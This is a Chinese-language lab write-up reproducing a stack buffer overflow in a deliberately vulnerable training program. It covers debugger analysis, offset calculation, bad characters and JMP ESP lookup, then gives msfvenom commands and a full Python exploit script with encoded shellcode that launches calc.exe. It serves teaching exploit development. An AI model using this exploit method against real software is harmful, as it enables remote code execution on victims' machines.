缓冲区溢出攻击基础&漏洞复现
编辑0x01 漏洞介绍
缓冲区溢出的原因是程序中没有仔细检查用户输入的参数,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。简单可以理解为程序固定了一个用户可输入的长度,用户输入超过这个长度程序就因为吃得太撑了爆炸了。
0x02 准备工具
1、Windows系统
2、OD
3、IDA
4、Immunity Debuggeer
5、Mona
6、Kali
7、存在缓冲区漏洞的exe文件
(https://github.com/justinsteven/dostackbufferoverflowgood)
0x03 开始复现
看看这玩意什么样子
打开,好像是监听连接啥的,先扔到IDA看一看是干啥的。
打开了有点看不懂,这是干啥的?其实左边目录就是程序运行步骤,直接F5干进去进入主程序。
看着像一个socket连接,不管了,直接扔给ChatGPT,让这玩意解释下。
哦?那就开始找这个端口。
找到端口了,端口为31337,看来是打开软件在本地起一个监听服务,那就用kali虚拟机链接下,先ipconfig获取本地ip,再用nc进行连接。
连上来了,我们的目的是找缓冲区溢出漏洞,先整一堆字符看软件会不会挂。
看来是挂了,不知道是不是这个漏洞导致的,返回IDA接着往下看。点击左边的_handleConnection,然后F5查看代码。
找到了,缓冲区大小为58623。
启动OD,加载程序,步进到程序运行的地方,我们在kali中开始nc并发送一堆A,然后程序抛出异常,且EBP和EIP已经全部变成了41414141,那么很显然这个时候通过缓冲区溢出EBP和EIP已经成功被我们使用AAAA给覆盖了, "41414141" 是十六进制表示的 ASCII 字符串 "AAAA"。也就是说我们可以通过缓冲区溢出来覆盖栈上的数据。那这样就确定为是漏洞了。
通俗来讲就是在缓冲区溢出攻击中,当输入的数据超出了缓冲区的容量并覆盖了其他变量或数据时,如果覆盖的内容正好是指针或地址,那么这个指针或地址将被误解为下一条将要执行的指令地址。因此,当输入的内容为 "AAAAAAAA" 或 "41414141" 时,它们可以被错误地解释为存储在 EIP(Extended Instruction Pointer)中的地址值,导致执行流程被劫持到这个地址处执行,可能触发崩溃或执行意外的代码。
成功溢出,但是那一大段A都是Ctrl+C Ctrl+V扔进去的,并不记得一共有多少,所以等下只能让kali来找偏移量了。
那么接下来使用Immunity Debugger配合Mona来分析然后构造shellcode
运行程序,并在Immunity Debugger中把程序拉进去。记得要安装Mona插件,网上有教程。
使用!mona modules看下这程序存不存在保护机制。
主程序实际上只开启了SafeSeh,先不用管,先计算一下偏移量。
Kali msf-pattern_create -l 20000
生成20000个规律字符,然后发送给服务端的指定端口,你可以使用nc发送也可以使用socket连接并发送数据。
生成成功。
debug程序让它跑起来,然后再输入进去。
输入刚才生成的脏数据,程序现在已经挂了回到ID查看EIP。
EIP为39654138,接下来用kali计算。
msf-pattern_offset -l 20000 -q 39654138
偏移量为146。
原理就是先生成20000个字符用于发送至服务端,然后根据溢出时EIP被覆盖的数据用来计算一共被覆盖了多少位,显示结果为146,说明覆盖EIP地址的是第146个字符后面的字符,接下来就可以控制EIP的地址,需要让他跳转到我们的shellcode。
那么在此之前,我想用字符去确认一下偏移量是否准确,我们使用146个A,然后再使用4个B,看下EIP被覆盖的情况。
生成146个A,再添加四个B。
程序异常,EIP被覆盖为了42424242,也就是对应BBBB。
偏移量计算准确,开始尝试做构造shellcode前的一个环节之一,也就是查找坏字符,虽然我们输入的内容会被转换为16进制的值,但是也并非它能接受任何值,比如说通用的坏字符例如“\x00”。
然后我们寻找JMP ESP,查看可以让我们插入shellcode的地方。
直接!mona jmp -r esp就可以,结果如下。
0x080414c3 : jmp esp | {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: False, v-1.0- (C:\Users\MHJ\Downloads\dostackbufferoverflowgood-master\dostackbufferoverflowgood.exe), 0x8000
0x080416bf : jmp esp | {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: False, v-1.0- (C:\Users\MHJ\Downloads\dostackbufferoverflowgood-master\dostackbufferoverflowgood.exe), 0x8000
那么至于可不可用,就需要构造shellcode来试试其可用性了。
使用
msfvenom -p windows/exec CMD="C:\windows\system32\calc.exe" -b '\x00\x0d' -f python -v code
那么分析完毕后我们使用win10 x64环境,使用kali生成x64的shellcode。
生成弹窗计算器并且排除掉坏字符。
那么生成shellcode后,我们就需要构造payload了。
Payload=字符填充+JMP ESP+nop+shellcode
字符填充也就是偏移量的146个A,JMP ESP就是我们!mona jmp -r esp后显示的两个可以JMP ESP的地址,但是栈是先进后出的顺序,所以0x080414c3就需要反着来,就要写成\c3\14\04\08也就是\xc3\x14\x04\x08,0x080416bf就需要写成\bf\16\04\08也就是\xbf\x16\x04\x08。
那么python代码如下:
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('172.30.193.125',31337))
tc="A"*146eip="\xc3\x14\x04\x08"nop="\x90"*16
code = b""code += b"\xdb\xd4\xd9\x74\x24\xf4\xb8\xab\xd9\x08\xbc\x5b"code += b"\x29\xc9\xb1\x36\x31\x43\x18\x83\xeb\xfc\x03\x43"code += b"\xbf\x3b\xfd\x40\x57\x39\xfe\xb8\xa7\x5e\x76\x5d"code += b"\x96\x5e\xec\x15\x88\x6e\x66\x7b\x24\x04\x2a\x68"code += b"\xbf\x68\xe3\x9f\x08\xc6\xd5\xae\x89\x7b\x25\xb0"code += b"\x09\x86\x7a\x12\x30\x49\x8f\x53\x75\xb4\x62\x01"code += b"\x2e\xb2\xd1\xb6\x5b\x8e\xe9\x3d\x17\x1e\x6a\xa1"code += b"\xef\x21\x5b\x74\x64\x78\x7b\x76\xa9\xf0\x32\x60"code += b"\xae\x3d\x8c\x1b\x04\xc9\x0f\xca\x55\x32\xa3\x33"code += b"\x5a\xc1\xbd\x74\x5c\x3a\xc8\x8c\x9f\xc7\xcb\x4a"code += b"\xe2\x13\x59\x49\x44\xd7\xf9\xb5\x75\x34\x9f\x3e"code += b"\x79\xf1\xeb\x19\x9d\x04\x3f\x12\x99\x8d\xbe\xf5"code += b"\x28\xd5\xe4\xd1\x71\x8d\x85\x40\xdf\x60\xb9\x93"code += b"\x80\xdd\x1f\xdf\x2c\x09\x12\x82\x3a\xcc\xa0\xb8"code += b"\x08\xce\xba\xc2\x3c\xa7\x8b\x49\xd3\xb0\x13\x98"code += b"\x90\x4f\x5e\x81\xb0\xc7\x07\x53\x81\x85\xb7\x89"code += b"\xc5\xb3\x3b\x38\xb5\x47\x23\x49\xb0\x0c\xe3\xa1"code += b"\xc8\x1d\x86\xc5\x7f\x1d\x83\x85\x45\xbd\x5b\x63"code += b"\xd7\x59\xcb\x04\x54\xfe\x60\x92\xe9\x8a\xe3\x09"code += b"\x3e\x41\xb0\xb2\x21\xc9\x2b\x1b\xc4\x69\xc9\x63"
s.send(tc+eip+nop+code+'\r\n')s.recv(1024)
Kali运行。
python2 payload.py
成功弹出计算器。
0x04 引用文章
https://mp.weixin.qq.com/s/k7Dc-zfgP03MxYK4kkptww
- 2
- 0
-
分享